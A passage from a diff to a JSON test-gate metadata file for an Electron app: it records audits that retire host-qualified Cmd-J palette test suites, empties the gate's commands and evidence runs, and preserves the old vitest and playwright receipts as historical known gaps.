equivalent replacement. Four compound unit commands are narrowed and its testFiles entry removed. Browser candidate and paired Cmd-J selection assertions remain unchanged, with only their original scope; they are not certified as replacements. All complete dated evidenceRuns remain unchanged; none selects this removed suite, and none validates changed commands. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account is preserved verbatim below as historical, including any older then-retained coverage claim: Audit5718 companion to audit5715 retires the whole worktree-checks-review-index.test.ts suite. Its remaining same-ID local/SSH Worktree-object review-index isolation alarm is intentionally lost without equivalent replacement. Remove its standalone selector, narrow two compound selectors, and remove its testFiles/assertionRefs entries. Two complete dated failed receipts selecting this suite through command/currentCommand are retired unchanged into knownGaps; they do not validate any remaining selector. All unrelated selectors, assertions and receipts retain only their original scope. No fresh execution, current import reachability, provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5658 integrates source audit5652: retire the whole web-session-tabs-sync-mirror-identity.test.ts suite and its exact active selectors. Intentionally lose same-id host mirror snapshot and removal isolation alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3381 intentionally removes the entire Cmd-J host-qualified candidate-ownership suite and its active selectors/assertion. The hidden same-id sibling ambiguity regression alarm is lost without replacement. The complete original dated failed receipt below is retired verbatim, including both command and currentCommand, rather than reassigned as validation of remaining selectors. Other complete receipts retain their exact original scopes; remaining browser/simulator/workspace/e2e selectors do not imply equivalent ownership protection. No fresh execution is claimed. Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. Audit5612 retires the remaining integrated mobile markdown close/frame-settlement suite, accepting loss of its closed-editor snapshot republishing alarm without replacement or fresh validation. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 current retained source checks only that scoped open-tab search rejects hostless legacy browser, simulator and workspace tabs when a hidden same-ID sibling host remains in the ownership catalog. Reduced selectors require fresh validation; existing historical receipts do not validate the changed source. Prior oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Aggregate two hosts' tabs under one intentionally colliding worktree id, stamp each unified tab with its execution host, and require exactly one candidate per owner. Repeat with an SSH physical owner transported by a paired-runtime alias. Independently require each browser and simulator Cmd-J selection to update activeWorkspaceExecutionHostId plus its owning workspace/group and render the selected tab active. Ambiguous legacy tabs without ownership fail closed.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts", - "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts", - "tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts", - "assertions": [ - "both browser selections activate and render their owning host and workspace", - "both simulator selections activate and render their owning host and group" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-20", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 12.7, - "summary": "The paired Electron journey passed real host browser publication, same-id collision injection, separate browser/simulator Cmd-J rows, and selected-host backing-state assertions.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-20", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 24.1, - "summary": "A fresh electron-vite --mode e2e build passed the paired journey: the visible Cmd-J list retained one owning browser/simulator row and each selection changed the execution host plus its owning workspace or group.", - "currentCommand": "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-20", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 36.7, - "summary": "A fresh e2e-mode Electron build passed the paired journey: each remote/local browser and simulator candidate appeared exactly once, selected the owning host plus workspace or group tab, and rendered that tab active. The group active-tab oracle remains stable while asynchronous paired session mirroring updates the legacy bare-worktree activeTabType field.", - "currentCommand": "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-21", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 20.6, - "summary": "After a fresh build exposed an unrelated mirrored terminal entering the broad backing-state diagnostic, the exact built candidate passed with that oracle scoped to the four seeded browser/simulator tabs; rendered active-tab and backing execution-host assertions remained green.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit6018 removes only the close-linger repository filter reseed case from WorktreeJumpPalette.test.tsx. That optional same-instance filter reset alarm is intentionally lost without equivalent replacement. Host-qualified folder/paired-runtime activation intent cases remain with their own scope. Selectors and all complete dated receipts are unchanged; those receipts do not validate changed source bytes. No fresh execution or import-closure claim. Complete prior account preserved verbatim: Audit5910 retires the complete browser-palette-page-entries suite: same-ID host-qualified search rows, missing stamped-owner refusal and ambiguous legacy-bucket refusal alarms are intentionally lost without equivalent replacement. Remove two standalone selectors, narrow two compound selectors and remove its testFiles/assertionRefs entries. Remaining selectors/assertions retain only their original scope. All complete dated evidenceRuns remain unchanged; none selects this source and none validates the changed selectors. Complete prior account retained verbatim: Audit5790 companion to audit5787: Retire simulator palette activation: collision/ambiguous-host refusal and owning split/tab selection alarms are intentionally lost. Narrow3 compound selectors and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete browser palette activation suite. Colliding child-ID pre-mutation refusal, focus intent captured before page removal, correct split selection and missing authoritative wrapper refusal alarms are intentionally lost without replacement. Narrow three compound commands and remove one testFiles entry. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5765 companion to audit5760 retires the whole simulator-palette-search.test.ts suite. Direct same-ID local/remote simulator candidate ownership and ambiguous hostless legacy refusal alarms are intentionally lost without equivalent replacement. Four compound unit commands are narrowed and its testFiles entry removed. Browser candidate and paired Cmd-J selection assertions remain unchanged, with only their original scope; they are not certified as replacements. All complete dated evidenceRuns remain unchanged; none selects this removed suite, and none validates changed commands. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account is preserved verbatim below as historical, including any older then-retained coverage claim: Audit5718 companion to audit5715 retires the whole worktree-checks-review-index.test.ts suite. Its remaining same-ID local/SSH Worktree-object review-index isolation alarm is intentionally lost without equivalent replacement. Remove its standalone selector, narrow two compound selectors, and remove its testFiles/assertionRefs entries. Two complete dated failed receipts selecting this suite through command/currentCommand are retired unchanged into knownGaps; they do not validate any remaining selector. All unrelated selectors, assertions and receipts retain only their original scope. No fresh execution, current import reachability, provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5658 integrates source audit5652: retire the whole web-session-tabs-sync-mirror-identity.test.ts suite and its exact active selectors. Intentionally lose same-id host mirror snapshot and removal isolation alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3381 intentionally removes the entire Cmd-J host-qualified candidate-ownership suite and its active selectors/assertion. The hidden same-id sibling ambiguity regression alarm is lost without replacement. The complete original dated failed receipt below is retired verbatim, including both command and currentCommand, rather than reassigned as validation of remaining selectors. Other complete receipts retain their exact original scopes; remaining browser/simulator/workspace/e2e selectors do not imply equivalent ownership protection. No fresh execution is claimed. Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. Audit5612 retires the remaining integrated mobile markdown close/frame-settlement suite, accepting loss of its closed-editor snapshot republishing alarm without replacement or fresh validation. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 current retained source checks only that scoped open-tab search rejects hostless legacy browser, simulator and workspace tabs when a hidden same-ID sibling host remains in the ownership catalog. Reduced selectors require fresh validation; existing historical receipts do not validate the changed source. Prior oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Aggregate two hosts' tabs under one intentionally colliding worktree id, stamp each unified tab with its execution host, and require exactly one candidate per owner. Repeat with an SSH physical owner transported by a paired-runtime alias. Independently require each browser and simulator Cmd-J selection to update activeWorkspaceExecutionHostId plus its owning workspace/group and render the selected tab active. Ambiguous legacy tabs without ownership fail closed.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 180, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { "status": "not-started", - "evidence": "Changed selectors have no new soak result after Audit1396; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1308; any retained unchanged-source receipts apply only to their own commands. Historical account: The candidate contract has no timers. Initial Electron attempts exposed seeded-worktree discovery and programmatic keyboard-selection harness races before the ownership assertions; soak history is not yet available." + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1396; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1308; any retained unchanged-source receipts apply only to their own commands. Historical account: The candidate contract has no timers. Initial Electron attempts exposed seeded-worktree discovery and programmatic keyboard-selection harness races before the ownership assertions; soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit1396 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Byte-identical browser and simulator candidate tests failed 4/28 on affected baseline 012e9f410c, passed 28/28 on candidate fe45b73c20, failed the same 4/28 when only the two candidate filters were disabled, and returned to 28/28 after restoration. Review-round topology contracts failed 4/40 before the alias/generic/local-stamping follow-up; final-review contracts then failed 4/16 before folder/background/worktree-metadata hardening, 1/6 before paired repository-metadata hardening, 1/7 before unavailable-runtime fail-closed hardening, 1/12 with the component's physical-host bypass restored, 1/6 before review-cache ownership used the same resolver, 1/6 before the downstream document rejected a remote owner's unqualified legacy cache entry, and 1/6 when a host filter or scoped open-tab search hid the same-id sibling from legacy ambiguity detection. Manual local-provider ownership failed 1/12 before explicit host routing, and pre-hydration dedupe failed 1/13 before exact stamped-owner reuse; the combined contracts then passed 25/25 and the six-file review suite passed 73/73. The prior completed focused suite passed 225/225. Historical results include examples subsequently removed in the test-value audit; they do not establish current coverage for those removed assertions." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit1396 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Byte-identical browser and simulator candidate tests failed 4/28 on affected baseline 012e9f410c, passed 28/28 on candidate fe45b73c20, failed the same 4/28 when only the two candidate filters were disabled, and returned to 28/28 after restoration. Review-round topology contracts failed 4/40 before the alias/generic/local-stamping follow-up; final-review contracts then failed 4/16 before folder/background/worktree-metadata hardening, 1/6 before paired repository-metadata hardening, 1/7 before unavailable-runtime fail-closed hardening, 1/12 with the component's physical-host bypass restored, 1/6 before review-cache ownership used the same resolver, 1/6 before the downstream document rejected a remote owner's unqualified legacy cache entry, and 1/6 when a host filter or scoped open-tab search hid the same-id sibling from legacy ambiguity detection. Manual local-provider ownership failed 1/12 before explicit host routing, and pre-hydration dedupe failed 1/13 before exact stamped-owner reuse; the combined contracts then passed 25/25 and the six-file review suite passed 73/73. The prior completed focused suite passed 225/225. Historical results include examples subsequently removed in the test-value audit; they do not establish current coverage for those removed assertions." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Candidate construction adds bounded in-memory ownership filtering over the already-read worktree tab bucket and introduces no polling or network work." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Candidate construction adds bounded in-memory ownership filtering over the already-read worktree tab bucket and introduces no polling or network work." }, "promotionCriteria": [ "Collect paired Electron CI soak history without unexplained flakes.", @@ -2322,7 +2245,14 @@ "Audit5790 exact original complete testFiles JSON value, preserved verbatim as historical selector metadata; changed selectors have no new validation:\n[\n \"src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\",\n \"src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts\",\n \"src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts\",\n \"src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts\",\n \"src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts\",\n \"src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\",\n \"tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts\"\n ]", "Audit5790 exact original complete assertionRefs JSON value, preserved verbatim as historical selector metadata; changed selectors have no new validation:\n[\n {\n \"file\": \"src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts\",\n \"assertions\": [\n \"same-id local and remote browser tabs appear once under their owning hosts\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts\",\n \"assertions\": [\n \"both browser selections activate and render their owning host and workspace\",\n \"both simulator selections activate and render their owning host and group\"\n ]\n }\n ]", "Audit5910 retires the complete browser-palette-page-entries suite: same-ID host-qualified search rows, missing stamped-owner refusal and ambiguous legacy-bucket refusal alarms are intentionally lost without equivalent replacement. Remove two standalone selectors, narrow two compound selectors and remove its testFiles/assertionRefs entries. Remaining selectors/assertions retain only their original scope. All complete dated evidenceRuns remain unchanged; none selects this source and none validates the changed selectors.", - "Hooks/IPC layout retires the complete WorktreeJumpPalette TEST under independently accepted external last7 policy. Its remaining palette activation/selection alarms are intentionally lost without equivalent replacement; remove its two standalone commands, narrow only its compound selector and remove its testFiles entry. The simulator selector, paired E2E assertions and complete dated receipts retain only their own original scope. No fresh execution, replacement protection or current-selector validation is claimed. Prior active fields (historical only): [{\"pointer\":\"/gates/35/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\\\"\"},{\"pointer\":\"/gates/35/commands/1\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\\\"\"},{\"pointer\":\"/gates/35/commands/2\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\\\"\"},{\"pointer\":\"/gates/35/testFiles/0\",\"raw\":\"\\\"src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\\\"\"}]" + "Hooks/IPC layout retires the complete WorktreeJumpPalette TEST under independently accepted external last7 policy. Its remaining palette activation/selection alarms are intentionally lost without equivalent replacement; remove its two standalone commands, narrow only its compound selector and remove its testFiles entry. The simulator selector, paired E2E assertions and complete dated receipts retain only their own original scope. No fresh execution, replacement protection or current-selector validation is claimed. Prior active fields (historical only): [{\"pointer\":\"/gates/35/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\\\"\"},{\"pointer\":\"/gates/35/commands/1\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\\\"\"},{\"pointer\":\"/gates/35/commands/2\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\\\"\"},{\"pointer\":\"/gates/35/testFiles/0\",\"raw\":\"\\\"src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\\\"\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-20\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 12.7,\n \"summary\": \"The paired Electron journey passed real host browser publication, same-id collision injection, separate browser/simulator Cmd-J rows, and selected-host backing-state assertions.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-20\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 24.1,\n \"summary\": \"A fresh electron-vite --mode e2e build passed the paired journey: the visible Cmd-J list retained one owning browser/simulator row and each selection changed the execution host plus its owning workspace or group.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-20\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 36.7,\n \"summary\": \"A fresh e2e-mode Electron build passed the paired journey: each remote/local browser and simulator candidate appeared exactly once, selected the owning host plus workspace or group tab, and rendered that tab active. The group active-tab oracle remains stable while asynchronous paired session mirroring updates the legacy bare-worktree activeTabType field.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-21\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 20.6,\n \"summary\": \"After a fresh build exposed an unrelated mirrored terminal entering the broad backing-state diagnostic, the exact built candidate passed with that oracle scoped to the four seeded browser/simulator tabs; rendered active-tab and backing execution-host assertions remained green.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\",\n \"pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\",\n \"tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts\",\n \"assertions\": [\n \"both browser selections activate and render their owning host and workspace\",\n \"both simulator selections activate and render their owning host and group\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\"],\"testFiles\":[\"src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts\"],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit1396 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1308 